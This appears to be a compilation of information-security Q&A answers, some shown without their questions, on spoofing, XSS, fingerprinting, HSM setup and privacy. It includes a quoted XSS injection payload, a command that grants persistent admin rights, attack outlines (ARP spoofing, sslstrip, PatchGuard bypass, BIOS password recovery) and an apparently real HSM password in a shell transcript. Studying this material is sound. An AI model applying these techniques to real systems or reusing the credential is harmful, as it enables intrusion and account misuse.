There are several other ways to fingerprint a device, as shown in a recent paper. The general fingerprinting vector is predictable random number generators unique to different wireless cards. This is a rather advanced attack, and most likely not used by your university. More likely, it is your system's hostname which is being recorded. The hostname is broadcasted when negotiating a dynamic IP address using DHCP. Lastly, TCP/IP fingerprinting, while not the same layer as Ethernet, can still be used to identify a connected device.

It is also possible that authentication occurs in another layer, such as IEEE 802.1X, IEEE 802.1A, or even a VPN connection. You should check if your computer is using any of this for authentication.


Depending on how your wireless network is set up if you could detect the same MAC on different access points communicating at the same time then it could be spoofed.

If this is detected you could then try and re-authenticate the user, but as soon as the legitimate user authenticates the malicious spoofer will be granted access again. It might be annoying to the user if they happen to be on a coverage boundary between two APs and is flipping between them.

You could also look at other identifiers such as differing TTL values on packets etc to try and identify the legitimate user but it gets involved. How much do you really care?

If you really don't want people to spoof their way on to a network perhaps look at username and password protection using EAP and a RADIUS server, but delivering credentials to the user in the first place is an additional step in the on-boarding process.


Antivirus Engine based MD5 or SHA1 hash?

Because malware can change parts of itself with random data and therefore change the file hash of itself or the files it has infected. Additionally, most advanced malware this days is packed with what is called a "FUD crypter", making the jobs of AV vendors much difficult.

Read more at http://www.hackpconline.com/2010/04/faq-what-is-fud-crypter.html

If you desire better security than what AV provides, adopt a whitelisting approach to executables, allowing to run only the .exe files you specifically allow. One such example is Windows AppLocker.


Unusual potential vulnerability scan results in Apache logs

Nothing to worry about.

This is regular internet noise, there are a lot of robots on the internet scanning the internet, even doing full IP traversals from 1.1.1.1 to 255.255.255.255 so even if your domain name is known only by you, someone will eventually scan your IP address.

Since the logs are calling javascript files there's nothing to worry about. Apache2 doesn't execute javascript code before rendering it, it just transmits the file as-is so there is no vulnerability to exploit through that vector.

The machines from where this comes can be anything, not necessarily from the same botnet, most unlikely so. They weren't interested in your site particularly, they just scan the entire internet and storing information, versions, etc.


Is using a DB prefix for tables more secure?

This is security through obscurity. While it might not hurt you in all cases, on it's own it does not provide viable security. Do not rely on this as your protection.

A short parable

Let's say you keep your money in a jar labeled MONEY in your house. Since you know you sometimes forget to lock the door when you leave the house, you relabel the jar COOKIESto prevent a thief from finding it. Would you feel more secure now? Sure, a very lazy, dumb thief might miss it, but you would not have to be a master thief to steal your money. Wouldn't it be better to just remember to lock the door instead?

Back to the computer world

Let's say you have an old phpBB installation with an SQL injection vulnerability. By default the tables are prefixed by phpbb_. You change this to obscure_. Will this help you?

A naive scan might fail to find hard coded table names (like phpbb_users with all the passwords), and therefore fail. But even a script kiddie could run a script that runs a SHOW TABLES and finds your obscure_users. In fact, there are tools that will automatically dump the contents of  all your tables through a SQL injection vulnerability.

Conclusion

So what is the lesson here? While changing table prefixes (relabeling the jar) might perhaps protect you from the most basic dumb automated attack (the stupid, lazy thief), you would still be vulnerable to simple attacks performed by script kiddies (a thief searching through your jars). When you have a real vulnerability like SQL injection, the solution is to fix that vulnerability (lock the door), and not to add a thin veil of obscurity.

That said, a simple precaution that might slow down some attacks might still be worthwhile as "defence in depth" if it has no harmful side effects. Just don't feel safe just because you implement it.

(As an addendum, I should say that running multiple installations in the same database might come with security implications on it's own, depending on the situation.)


Would XSS in the local storage be considered "Stored"

Updating my answer based on information @AviD provided (Thank You! I learnt something new).

From the OWASP XSS page:

  For years, most people thought of these (Stored, Reflected, DOM) as
  three different types of XSS, but in reality, they overlap. You can
  have both Stored and Reflected DOM Based XSS. You can also have Stored
  and Reflected Non-DOM Based XSS too, but that’s confusing, so to help
  clarify things, starting about mid 2012, the research community
  proposed and started using two new terms to help organize the types of
  XSS that can occur:

  Server XSS
  Client XSS

It does not look like a Stored Server XSS based on what you've described. If the data in the local storage is not sent to the server in every request (or specific requests) and it is not "reflected" back in the HTTP response from the server, it should not be considered a Reflected Server XSS.

In this case, the payload (JS) is being stored on the client (browser) in the local storage, it should be considered as a Client Stored XSS (again, I agree with @AviD here). Now if this payload was merely inserted back in the DOM and not being stored on the client (browser), it should have been a case of a Client Reflected XSS.

Just a small note on Self XSS - something not mentioned on OWASP site: If you are only able to change that on your own browser and you cannot "remotely" trick this JS code insertion in some other user browser's local storage, for example: by asking them to click on a URL, I'd consider it as a Self XSS. Attackers tend to exploit Self XSS mostly through scams like posting/sharing malicious payloads on social media network and asking users to paste them in their browser JS consoles to see some magic happen.


What is the point of hashes when downloading over the same channel?

Correct, if the hash is provided on the website next to the download then it does nothing. If the hash is provided over a separate channel, especially if something reliably archives the hash that was published when the binary was published, then it provides some security. Not as much security as a digital signature, but some.

So hashes published in archives of mailing lists, hashes you received by email directly, hashes in package manager manifests, etc. are useful.


If I understand this correctly, you have a MGMT interface on the public internet on a single device in front of your perimeter firewall. This is not unheard of, you can secure it. In your IOS just configure that port to be on your MGMT VLAN. Then add a access control lists to that interface so you cannot expose it if there is a misconfiguration later on.


Can a hacker determine what version of WordPress and PHP a site is using?

Most PHP-enabled web servers will display the PHP version in the Server response header.  For example, my development machine currently shows this with all of its requests:

Server: Apache/2.4.38 (Win64) PHP/7.3.2

There are configuration settings to turn off displaying the PHP version, and it really is quite trivial to lie about anything and everything in HTTP response headers.

Additionally, there are several ways to get the version of Wordpress installed, the easiest way being to to go to /readme.html on the site.

The RSS/ATOM feeds will also often include the Wordpress version number.

Though you said we should assume that the information isn't available by viewing the page's source, it is often available in a meta tag, depending on the theme.

Links to some resources will have cache busting parameters attached to them, with the cache busting string sometimes being the version of Wordpress that is installed.

And, if you have the time and determination, you can fingerprint the common files that are found in most Wordpress distributions. If a file changes in a specific version, you can look for those changes.

A clever developer can cause each of these to lie, of course, and can mutate the static files in a way that makes fingerprinting them a futile endeavor, but most people follow the default behavior of their PHP version and Wordpress software, making it trivial to identify versions.

All of this underscores the importance of keeping your software up to date to prevent known vulnerabilities from being exploited.

As far as whether or not a hacker can identify the version of PHP and Wordpress...  Well, anyone can, so I suppose a hacker can, as well.


What is the difference between capture traffic from inside and outside of my network?

Promiscuous mode just means your (Wireless) Network Interface Card (NIC) looks at all packets it hears, not just ones addressed to it (with its own MAC address).

With no encryption, promiscuous mode on wifi will only capture packets on the SSID that you have joined (and ignore packets on other wifi SSIDs).

With encryption (WPA2), in promiscuous mode your card will not be able to decrypt packets sent to other MAC addresses due to the encryption.  Hence, promiscuous mode isn't giving you more access in this case.

There is additional RF monitor mode, which is supported by some cards that will capture all packets your wifi radio can pick up, including those your wifi card cannot decrypt.  Granted if you eavesdropped on the WPA2 handshake process and know the shared secret key of the network you will be able to decrypt the traffic.  (Assuming it's not additionally encrypted; e.g., a user visited an HTTPS website over WPA2-Wifi).

Hence, if you want to capture packets on other networks you need to use monitor mode.  See: https://wiki.wireshark.org/CaptureSetup/WLAN#Monitor_mode


Regarding user-mode hooks, perhaps you can write a generic stub function that

Hooks onto all the kernel32 calls.
Passes the call to the original API address (you'll have to build an array of all the original API addresses to determine the correct address).
Compare the callee's address against the IAT to the original API address.

This call sequencing technique for rootkit detection can clearly detect hooks, but I can't imagine it would work for runtime patching - AKA inline hooks, as they don't build a stack frame.

If you're reluctant to go down this route, you might consider hooking onto the Native API in kernel mode, which has about ~290 functions for Windows 7 SP1. You'll have to disable or bypass PatchGuard on x64 systems though.


I never managed to crack the archive I wanted to, but John The Ripper can crack these AES-256 encrypted archives.


It depends on how the BIOS chip stores the password.

If the BIOS chip stores the password in battery-backed RAM then removing the battery will clear the RAM which will restore the BIOS defaults. For most chips the BIOS default is to not require a password.

If the BIOS chip stores the password in an external Non-Volatile Memory chip (usually EEPROM) the it is usually possible to remove the NVM chip and read the password directly from the chip. Another option is to clear the NVM chip to restore the BIOS defaults.

If the BIOS chip stores the password in on-chip ROM then the password is the same for all chips and it is usually possible to Google the password. Likewise, many BIOS chips have a backup password in ROM which can be found using Google.

There may be BIOS chip which store the password in on-chip non-volatile memory (most likely One Time Programmable ROM). If such chips exist (I'm not aware of any) then the best bet would be to try and brute force the BIOS password using something like this. Of course, if someone went to the trouble (and expense) of using on-chip NVM to store passwords they might also limit the number of password attempts in a given period of time.

Things get more complicated if the BIOS password is protected by a TPM (Trusted Platform Module). For that see Tamper-proof BIOS password & settings storage with Trusted Platform Module?.


What does The input is reflected inside a tag parameter between double quotes mean?

What happened?

The vulnerability scanner thinks that it found a possible reflective XSS or HTML injection vulnerability in the page.

When it injected Oui"sTYLe='acu:Expre/**/SSion(Afih(9717))'bad=" as a GET request parameter, the page rendered with the following element in it:

...

Part of the content (SSionAfih9717) matched the injected data.

Should you be concerned?

It depends. Tests like this may often be a false positive, as there are many different scenarios where user-input text may be reflected in the page in a non-harmful way.

It looks like the test was trying to inject a HTML attribute named bad into whatever element contained the data, but the word "bad" doesn't appear anywhere in the resultant HTML. I believe a successful attempt may have looked something like this:

...

Note how the attribute bad appears after href. This could be used by an attacker to inject arbitrary JavaScript or manipulate the page in other ways.

In your particular case, you don't seem to be affected by the test, and it can likely be considered a false positive. That said, there may be other scenarios you are vulnerable to, as this is just one test of many possible. That said, if the request could completely replace the href value instead of being added at the end, it could be used to target javascript: URIs or other domains in the attacker's control.

How to fix it?

If you were really vulnerable to this, you would want to follow best practices outlined in the OWASP XSS Prevention Cheat Sheet Rule #5:

  RULE #5 - URL Escape Before Inserting Untrusted Data into HTML URL
  Parameter Values

  Rule #5 is for when you want to put untrusted data into HTTP GET
  parameter value.

link

  Except for alphanumeric characters, escape
  all characters with ASCII values less than 256 with the %HH escaping
  format. Including untrusted data in data: URLs should not be allowed
  as there is no good way to disable attacks with escaping to prevent
  switching out of the URL.

  All attributes should be quoted. Unquoted attributes can be broken out
  of with many characters including [space] % * + , - / ; < = > ^ and |.
  Note that entity encoding is useless in this context.

  WARNING: Do not encode complete or relative URL's with URL encoding!
  If untrusted input is meant to be placed into href, src or other
  URL-based attributes, it should be validated to make sure it does not
  point to an unexpected protocol, especially javascript links. URL's
  should then be encoded based on the context of display like any other
  piece of data. For example, user driven URL's in HREF links should be
  attribute encoded.

  For example:

String userURL = request.getParameter( "userURL" )
boolean isValidURL = Validator.IsValidURL(userURL, 255);
if (isValidURL) {
    <a href="<%=encoder.encodeForHTMLAttribute(userURL)%>">link
}


TL;DR
There is currently no Public Information how exactly messages were read, but it all points to a faulty Implementation of the Software and bad UI Design.

There was not a Problem with the OTR, there was a Problem with the Implementation of it.
On nakedsecurity.sophos.com

For one thing, the app warned users about possible message interception in teensy type, worded in such a way that an average user wouldn’t understand, he said, if they read the smaller font at all. The warning:
Encryption is enabled, but conversation partner is not authenticate

And arstechnica.com

An article published by Dutch public broadcaster NOS said a version of the IronChat app it investigated suffered a variety of potentially serious weaknesses. Key among them: warning messages that notified users when their contacts’ encryption keys had changed were easy to overlook because they were provided in a font much smaller than the rest of the conversation. While crypto keys often change for legitimate reasons, such as when someone obtains a new phone, a new key might also be a sign a third party is trying to intercept the communications by encrypting them with a key it controls.

For Signal in the same news

The Signal app, for instance, encrypts messages using the recipient’s public key before it leaves the sender’s device. As a result, messages that pass through Signal’s central servers can be decrypted only by the recipients’ private key, which is stored only on the recipients’ individual devices. In the event law enforcement took control of the server, they would be unable to read the content of messages without substantially updating the Signal app and waiting for targets to install the update. Even then, they would be able to read only messages sent after the update was installed. Earlier messages would remain unreadable.


Is it safe to download an HTML file on an unknown website using something like Python's urllib.urlretrieve?

If a site uses a JavaScript-based exploit, then not executing the JavaScript code will indeed mitigate that exploit.

Note that (1) not all browser attacks are JavaScript-based, for example pure HTML or CSS could also be used, and (2) any code or library you use can have other vulnerabilities, though the odds of them being prepared for such a random library being used are very slim, so it's almost certainly fine.


How do ERP systems track classified business activity?

Generally speaking, there is no inbuilt functionality that will facilitate this. The level of isolation required simply can't be patched into an ERP product after it is developed. SAP, particularly, is somewhat of an eldritch horror in this department.

The only effective solution I've seen used is to run a separate instance on separate infrastructure for cleared work. Anything of normal sensitivity (f.e. up to commercial in confidence) goes on the regular instance, anything secret or above goes on the cleared instance.

Of course it is often useful or necessary to have metadata about the cleared instance available on the normal instance. This can generally be facilitated by implementing a plugin on each instance for the purposes of intercommunication of that metadata, with an intermediary system that helps enforce the data contract for security purposes.

Information sharing can still be performed carefully, by installing plugins on each instance that allow for the export/import of data, and having the instance infrastructure able to communicate over only a fixed channel (e.g. HTTPS on a specific port, enforced by firewall appliance). Here's a diagram of an approach I've seen used before:

A gateway server runs a web service on a pair of ports - one for cleared-side connections, and the other for normal-side connections. It VPNs into both networks and the VPN endpoint applies firewall rules specific to that connection, allowing only inbound connections to the gateway on the correct port. The web service consists mostly of a service endpoint that validates incoming data, and a message queue that the data is placed into. Each ERP server plugin instance can connect to the gateway to send and receive messages. By combining host-based firewall rules on the gateway itself and appliance firewall rules on each side of the network, it becomes exceedingly difficult for an attacker to directly penetrate from one instance to the other.

The firewall on each side contains a rule and a route that allows the ERP instance on each side to communicate with an identity provider for user authentication purposes. This should allow only outbound connections from the ERP instance to the identity provider on the necessary port.

The VPN also allows for management connections from a whitelisted IP address range, using separate VPN credentials. For these connections a relaxed firewall rule set can be applied, but it is worth blocking new outbound connections from the instance network to the management LAN because such connections should not occur in general (and change requests can be raised if such a connection needs to happen for some reason).

The users can VPN into each instance. The blue arrow colour indicates the allowed access, i.e. the users can only access the ERP analytics front-end rather than any management features or database instances. For convenience a routing device can be placed on the user LAN which has a permanent VPN connection into the normal instance, to avoid needing VPN clients on every standard user's machine. Users who require access to the cleared instance can then VPN in separately.

You can enhance this layout in a number of ways. For example, the gateway server could have an attached log store which both instances send logs to via the web service. This means that even if an attacker compromises an instance, the logs cannot be destroyed.


What is the purpose of DNS-based Authentication of Named Entities (DANE) and how does it relate to DNSSEC?

DANE allows you (as a domain owner) to specify the possible CA's that are allowed to generate a certificate for your domain. This prevents rogue Ca's to issue a certificate (it will be invalidated by a client that uses DANE to validate the certificate).

From Wikipedia:

  DANE enables the administrator of a domain name to certify the keys used in that domain's TLS clients or servers by storing them in the Domain Name System (DNS). DANE needs the DNS records to be signed with DNSSEC for its security model to work.

Here is an online tool that can validate a DANE implementation: https://dane.sys4.de/common_mistakes


PHP object injection in the absense of source code?

Exploiting a vulnerability without access to the source code requirs more work, some creativity and intuition and perhaps a dash of good luck. But it is absolutely possible. This is true for most attacks in general, and for PHP object injection in particular.

The idea that you are safe as long as no one gets their hands on your source code is not only wrong, it is dangerous. Instead, design your programs so that they are safe even if the source code would be made public.

To understand how this particular vulnerability could be exploited without knowledge of the source code, I recommend that you take a look at these examples from OWASP:

In the first example, a GET variable containing a file path is passed through unserialize, thereby creating a path traversal vulnerability. Whenever a competent attacker sees a path, she will try path traversal to see what happends. Seeing the source code would make it easier, but it is not strictly necesarry.
In the second example, data from unserialize is passed to eval, making code injection possible. Testing to insert PHP code at random places is pretty much standard black box pen testing procedure. Sure, it would be easier if you could just grep for eval, but that doesn't mean this little gem would go undiscovered.
The third example is a SQLi vulnerability created by __tostring method being controlled by the attacker. This one would be tricky to find without reading the source code. But serialized PHP strings are easy to spot, and an attacker will poke around and see what happends. Do you really want to bet on that no one will strike gold just by pure dumb luck?


Apple apparently takes this seriously, since they "disabled Java" in users' computers, which is a rather drastic move. This actually smells like a pretext to kill off the technology, as part of a wider strategy.

For this specific hole, there are a few details there. It is all about the Java applet model. To understand:

Java is a programming language and a huge library of code, all running within a virtual machine. The VM means that code is much easier to port between architectures. So far so good; the same applies to several other frameworks, including .NET.
The strong typing of Java and the VM conceptually allows an extra feature, which you cannot have (at least not easily) with more bare-metal languages like C++: the possibly of safely running potentially hostile code. With C or C++ or assembly or whatever, such a feat requires some help from the hardware and the operating system (namely the privilege levels of protected mode, or, for the extreme cases, specialized virtualization opcodes). Strong types and the VM allow for a software-only sandbox solution, which could be integrated in, for instance, a Web browser.
Java applets are just that: a sandbox for running Java code which is downloaded from the Web, as part of a Web page. However, the people at Sun/Oracle didn't know where to stop, and were a bit too eager. Since sandboxed code is severely limited in what it can do, there are only two choices: learn to live with limitations (that's what Javascript developers do), or include in the sandbox an escape mechanism allowing some applets to do out-of-sandbox things, such as reading and writing files, opening arbitrary sockets, and running native code. The VM allows that, provided that the applet asks nicely, which entails fine-grained permissions, a digital signature and an explicit authorization popup.
It turns out that managing this system of "permissions" is very hard to do for the VM and library; namely, the library is very rich in code which offers access to various OS facilities, and they must all be plugged without forgetting any. There are hundreds, maybe thousands of "sensitive calls" to care about. The long history of security holes in Java is a testimony to the nigh impossibility of the task. If the competing technology from Microsoft (Silverlight, built over .NET) seems a bit less impacted, it is mostly because it is much less used worldwide, giving it far less exposure.

For the time being, the safest thing to do is to disable support for Java applets in your browser. Note that Java applications, and in particular anything which runs server-side, are not impacted.

The problem of safely running hostile code, while simultaneously maintaining rich functionality and fine-grained access control, is not a new problem. What this yet another Java mishap shows is that this old problem is still unsolved.


How to ensure that passwords are not copied?

You cannot copy protect passwords. The only thing you can do is give the passwords a very limited lifetime. After that lifetime, the password is changed and the consumer needs to request a new one.


All ASN.1 OIDs are sequences of numbers separated by periods, and designed to be globally unique; see https://en.wikipedia.org/wiki/Object_identifier . The numbers have meaning as part of the sequence, but not by themselves. It's vaguely like DNS except left-to-right instead of right-to-left, numbers instead of names, and most importantly there is no expectation or suggestion that the things identified are computers of any kind.

A TSA policy is determined by some entity, usually an organization such as a business; it might be the same for multiple servers operated by one entity, and possibly for servers operated by multiple entities if they agree. It certainly isn't intended to identify the server; the IPaddress (and usually domainname) always does that, and the certificate probably does, since normally different servers will use different signing keys and thus different certs. In general what a policy means, how it is used, and if/when it is allowed/required depend on whatever system(s) and party(ies) implement it.

If you mean RFC3161, which is probably the most popular but not the only standard for timestamping, it allows (ASN.1 OPTIONAL) one OID in a request and requires one OID in a TSTInfo (i.e. the signed body of a successful response). It says

  ... This policy MAY include the
     following types of information (although this list is certainly not
     exhaustive):

  The conditions under which the time-stamp token may be used.
  The availability of a time-stamp token log, to allow later
    verification that a time-stamp token is authentic.

As you can see this is pretty open-ended -- like for X.509/PKIX certificate policies.

The ability to specify a desired OID in a request is clearly intended to allow for the possibility that the server (to which that request is sent) supports more than one policy, but that's only a possibility, I don't know how many if any actually do.


Nginx and HSM integration to hold private keys

I've never done this before. But here are some suggestive pointers. These points are NOT concrete steps to get it working. From the documentation for the new AWS CloudHSM (not classic) offering:

Setup CloudHSM and generate private key using the CLI utility.
Install and configure the CloudHSM OpenSSL library.
Check if engine works openssl engine -t cloudhsm
Configure Nginx. Since Nginx 1.7.9, you can specify an engine for the private keys

  The value engine:name:id can be specified instead of the file (1.7.9), which loads a secret key with a specified id from the OpenSSL engine name.

So your nginx config would look something like this

ssl_certificate_key cloudhsm:<name>:<keyid>;

I'm not quite sure what the name would be or the keyID. I'll read-up a bit
and edit this answer if I find something.

Note: Also, per documentation, you might have to set the ssl_engine to cloudhsm if you want to enable SSL acceleration (doing the crypto in the HSM).

ssl_engine cloudhsm;

test.

May I ask why you wouldn't want to offload your SSL at the Load Balancers using AWS ACM? That's the easiest way to do it and it's secure if you trust AWS to be secure.

edit: I read a bit and I'm more or less certain that the Key Handle in CloudHSM parlance - the 6-digit numeric Identifier - is the keyid here. I also think user name is the name part. So your Nginx config could be:

# something that looks like:
ssl_certificate_key cloudhsm:AWSUser:568900;

edit2: Nginx compilation is not necessary. We just have to make sure that the openssl engine is loadable. Once configured, this is what it looks like when verifying:

[root@ip-172-31-14-127 ~]# export n3fips_password=user_cu:Wzs8sukUp7FkVs4xQU
[root@ip-172-31-14-127 ~]# openssl engine -t cloudhsm
(cloudhsm) CloudHSM hardware engine support
     SDK Version: 2.03
[ available ]

edit3: Good news! According to this forum post, Amazon is working on better documentation for Nginx integration with CloudHSM.

edit4: AWS has updated their documentation to include instructions for Apache and Nginx. I seem to have got it slightly right! ;) So, apparently, you download a "fake private key" and use it in your Nginx config. The rest of the instructions hold well.

  Regardless of which method you choose, you then export a private key
  handle from the HSMs and save it to a file. The file doesn't contain
  the actual private key. It contains a reference to the handle of the
  private key that is stored on the HSMs. The file's contents are known
  as a fake PEM format private key. Your web server software uses the
  fake PEM format private key file, along with the AWS CloudHSM software
  library for OpenSSL, to offload SSL or TLS processing to the HSMs in
  your cluster

Documentation here: https://docs.aws.amazon.com/cloudhsm/latest/userguide/ssl-offload.html

I haven't tested this yet. Will post an update once I do.


Basic Website Protection (XSS,SQL-inject,hashing)

For SQL injection, you're basically on the right path.  The best advice it to not roll your own.  Use something well known; whichever language you're using probably has a library to be used with proper parametrised SQL.  OWASP has a very good article including mitigations against this attack vector here

If this string is never executable, then it's not a vulnerability (that I can think of at the moment anyway).  Basically, this is an injection vector.  If the string is never used directly, then it shouldn't cause an injection vulnerability.  If this string is used to control the logic of your application, then yes, this could be vulnerability depending on what it controls and how deep the attackers knowledge of your application is.

For password hashing theory Thomas Pornin has a very good answer here.  The gist is to use a known good implementation, and whatever language you are using will likely have a built in method to hash passwords.  Just make sure you follow all recommendations in the linked post, such as which algorithm to use and the size of the salt.

As for any other advice, I suggest you check the OWASP Top 10 for excellent advice.


Is the old OAuth refresh token still valid and can the thief access my google data?

Once app is removed the token is invalidated.

  The user has revoked access.
  The token has not been used for six    months.
  The user changed passwords and the token contains Gmail    scopes.
  The user account has exceeded a certain number of token requests.

See the factors which include a token expiration. Reference

  If I reauthorize the OS X app, new oauth refresh token will be
  generated, will the old oauth be valid ?

Old oauth token would be invalid.


Server gets infected with malicious files

This is a service testing if your server is misconfigured and you are an open proxy. Nothing to worry about.


How does DRM enforcement work (across different platforms)?

As long as any program capable of reading the DRM protected file is working on your computer, experts can analyze it and write a program that circumvents DRM for that file for an indefinite amount of time.

There are DRM systems in which the key to decrypt the content is calculated just-in-time by a server. If you didn't save the key before expiration, you likely can't access this file with any software after expiration.


Maintain User Privileges After Shutdown in Windows XP?

From the priv shell:

net localgroup Administrators pete /add

This adds pete to the admin local group, which means he has priv access after boot.

It's not limited to the shell, and would be detected in an audit.

But, as I said, if you got a priv shell in the first place, then rise-repeat?


Is honeywords different from k-anonymity?

Actually, these concepts are conceptually quite different. I'm going to talk about $k$-anonymity, as $\ell$-diversity and $t$-closeness are related to $k$-anonymity, but can be seen as  additional measures on top of $k$-anonymity that target homogeneous representation of the sensitive attribute’s values within a group and their relative frequencies respectively.

The idea of $k$ anonymity is, that you remove primary identifying information (such as names, ssn, etc.) from a table. But there are typically still so called quasi identifiers left (such as a combination of birthdate, zip and gender) which could be linked to external sources to allow identification if this anonymized table is linked to some external source (i.e., another table containing the same and additional attriutes).

So you have to make some assumptions about how this quasi identifier (i.e., the attribute combination) may look like. Having done this, you define a $k$ and you want that every unique value combination of values in the quasi identifier that appear in the table shows up at least $k$ times.

If this is initially not the case (which is very likely), then you apply attribute suppression (you remove the entire attribute if there is no chance of achieving the desired $k$) and generalization (you define a generalization hierarchy on the attribute and switch to the more generalized version, e.g, you have $ZIP="123456"$ -> $ZIP="12345*"$ and so on) until your $k$ is achieved. There is a bunge of algorithms to perform this task. Clearly, generalization is desirable, since you preserve more information.

Consequently, the main differences between these approaches are:

In honeywords the data is assumed to be kept private, while you apply $k$-anonymity to data that is then made public, e.g., medical data for some statistical processing.
In $k$-anonymity you work on a database (table data) where you remove unique identifiers before processing with $k$-anonymization (otherwise $k$-anonymity makes no sense), while in honeywords you have $(u_i,H(u_i)$ pairs and keeping the unique values $u_i$ (since the data is not made public).
Honeywords introduces bogus data, while in $k$-anonymity you apply attributes suppression  and generalization (on the original data) until you achieve your desired $k$).
Honeywords is intended to detect something (brute forcing), but $k$ anonymization is a preventive measure before making something public (and is not intended to detect something).


The inner workings of iMessage security?

This is incomplete.  But hopefully of some use.
https://wiki.imfreedom.org/wiki/IMessage and https://github.com/meeee/pushproxy (especially the docs section) have done some reverse engineering of apple's proprietary protocol.
Seems that every apple device has a SSL/TLS client-side cert for authentication that setup to be known to apple's push server.  This is used to authenticate you as well encrypt the connection between your apple device and apple's push server.  I do not see anything about retrieving public keys of users you are sending messages to; hence your message is completely readable/editable by someone at apple's servers.
To specifically answer the three questions:

What security technologies and protocols are used?

Standard SSL/TLS certificates.  Apple's self-signed certificate uses RSA 2048-bit public key.

How are the messages encrypted?

SSL/TLS to encrypt the connection between the apple push server and your device.

Is it truly end-to-end secure? Can Apple or anyone else circumvent the encryption?

Yes.  To the best of my knowledge messages are in plaintext on apple's servers.

EDIT: Aug 26th, 2013: I agree this doesn't agree with the official statement made by Apple several months after this answer was written, which stated:

For example, conversations which take place over iMessage and FaceTime are protected by end-to-end encryption so no one but the sender and receiver can see or read them. Apple cannot decrypt that data. Similarly, we do not store data related to customers’ location, Map searches or Siri requests in any identifiable form.
We will continue to work hard to strike the right balance between fulfilling our legal responsibilities and protecting our customers’ privacy as they expect and deserve.

Personally, I don't place much trust in this statement where they got permission to report from the US government.  This has nothing to do with my opinions of Apple, but mostly stems from me personally placing little trust in a closed-source proprietary protocol whose inner workings and technical details are kept secret.
Maybe the statement was entirely true, but it seems strange in terms of why are Apple iMessages allowed to be encrypted but LavaBit apparently had to shut down under gag order or secretly disclose email of people like Snowden.  Would I expect Apple to suddenly stop allowing iMessages on principle under a court order they do not want to comply with?
Or it could be technically true, but fails to mention backdoors installed per gov't orders that allow them to remotely retrieve private keys from Apple devices (possibly only in the presence of a court order/gov't request).  Several observers have mentioned when you get a new iOS device, once you setup your account (either by knowing your password or doing a password reset with a few low-entropy security questions) your device automatically retrieves all your past iMessages from the cloud.  That implies Apple definitely has your messages and your private key stored at their end in the cloud -- granted the messages could be encrypted and your private key could be password protected (stored twice -- once with password, once with answers to security questions).  Granted anyone at Apple's end frequently verifies your password (e.g., any time you log in to an Apple Store), most passwords are weak, and it wouldn't be for Apple to either log or brute-force a password.
Or it could be a completely false press release that Apple was told to release per order of the US gov't so criminals would feel safe using iMessage for illegal activities.  Many observers questioned the veracity of the leaked DEA memo (as well as why would a DEA agent would leak it when it seems to tell drug dealers how to safely message without gov't intrusion).


Open an e-mail account from only one particular system?

If you are talking about opening a single email, then no that is not possible. However if you are talking about a mailserver, then yes this possible. You can use a firewall to restrict access from certan IPs to the mail server and prevent certain clients from accessing your mail server.


Is there any legitimate reason to install yourself as a root CA?

A custom CA is required if you want to use https on your corporate intranet. 3rd party CAs can only give you certificates for public domains. They won't give you certificates for intranet.local or any other hostnames which are only routed in your own network. So when you want to have a certificate for your intranet or for the web interface of your own servers, you need to add a custom CA and sign it yourself.

You might ask yourself "Why would I use https on my own network"? There is currently a trend to implement everything as a browser-based application. This means more and more processes are handled through internal web interfaces, including sensitive ones. For example, our company is currently implementing a web-based intranet application to view our own payslips (and hopefully only our own). But in larger organizations, the internal network can become so large and complex that you can't really speak of a private LAN anymore. Eavesdropping from internal attackers becomes a possibility which can not be handwaved away, so internal encryption becomes a reasonable precaution.


How can I control my website's inputs when they are entered by users?

Use rate-limiting and only allow X questions posted within Y time. That should slow down any attacker and let humans deal with the spam (through downvotes or flags for example).

Every time the user tries to post a question, query your database for their last question and check that the current time is greater than that question's post time + the minimum required delay between two posts (on some Stack Exchange sites I believe it's 30 minutes).

Depending on your performance requirements you could de-normalize your database a bit and keep the last question's time directly in the user's model - that will mean you have to update their model each time they post but saves you a query of their questions since all the info you'll need will be in their user model which you have queried anyway (your framework most likely does that for you as a side-effect of checking whether they're logged in).

You can also use Redis or Memcached to cache the models to improve performance even more.

Finally if you're worried only about automated spam but not manual spam, you can present a captcha instead of completely preventing them from posting if they attempt to post too frequently.


User "ASP" logged in to windows server - hacking attempt?

Your server seems compromised!

the steps you should take is to immidiatly make a IP scope for the remote desktop and VNC application in windows firewall so only the IPaddress of the remote (or LAN if its in the same network) should be able to acces this!

Also, the user ASP should be deleted at once, be sure to run antivirusses like Malwarebytes and install updates to make sure there isnt a keylogger, and change the passwords for the Admin (and all other users if there are any).

good luck!


There are a bunch of potential ways for an attacker on your network to break into it:

Bruteforce the password.
Sniff traffic on the network, wait for you to log in via HTTP (not HTTPS) and steal the login details.
Use ARP spoofing (a.k.a. poison routing) to perform a man-in-the-middle attack and steal credentials that way.
Run sslstrip to perform an SSL man-in-the-middle, then steal the login details when you log in. If you already get SSL warnings when logging in on port 443 (likely on an embedded device) you'd never notice that you'd been tricked.
If the router uses session cookies and HTTPS is not used exclusively, an attacker may be able to steal the session cookie and hijack your session, giving them full access to the camera.
Identify vulnerabilities in the camera software and exploit them.

If the attacker doesn't have direct access to the network, they'd have to compromise an internal system or exploit vulnerabilities in your internet-facing router in order to get access. Some routers have poorly designed / configured implementations of UPnP that allow port forwarding rules to be set remotely.


How to backup files stored in a possibly infected computer?

A first point is that the files shall be copied under some protection. When you boot up an infected system, malware and virus present on the system may be activated, and then try to propagate, for instance into other files on an external hard drive.

Infected files are said such because of their ability to "infect" computers which look at them. Precisely, a virus in a file fools a computer which "opens" the file into executing its nefarious code. This fooling uses vulnerabilities in the software used to interpret the file contents. Unfortunately, running weak software can be quite automatic: for instance, if you use a Windows system to have a look at some files in a directory, then the file explorer will show miniature versions of pictures. This means that there is a part in the file explorer application which automatically reads and interprets the picture file contents. Any vulnerability in that interpreting code will allow a virus to propagate, even if you, as a human user, do not actively open any of the files.

Ideally, you would like to first copy the files from a completely distinct operating system, e.g. Linux (under the assumption that a Windows virus won't harm Linux, and vice versa). You could boot from a CD or USB stick a Linux system (e.g. Ubuntu's desktop edition install CD is also a usable OS which can work off the CD without installation). Alternatively, open up the Windows machine, extract the hard disk, put it in a USB hard drive enclosure, and plug it into a Linux machine.

Then, the files ought to be scanned for known viruses. There is never any guarantee that all infections will be detected by any antivirus, but they can still help. In particular, if you keep the old Windows XP out of any network contact, or (even better) simply shut down for a fortnight, then any virus on it will be necessarily at least two weeks old, giving more chance for antivirus to have caught up with it and to successfully detect it.

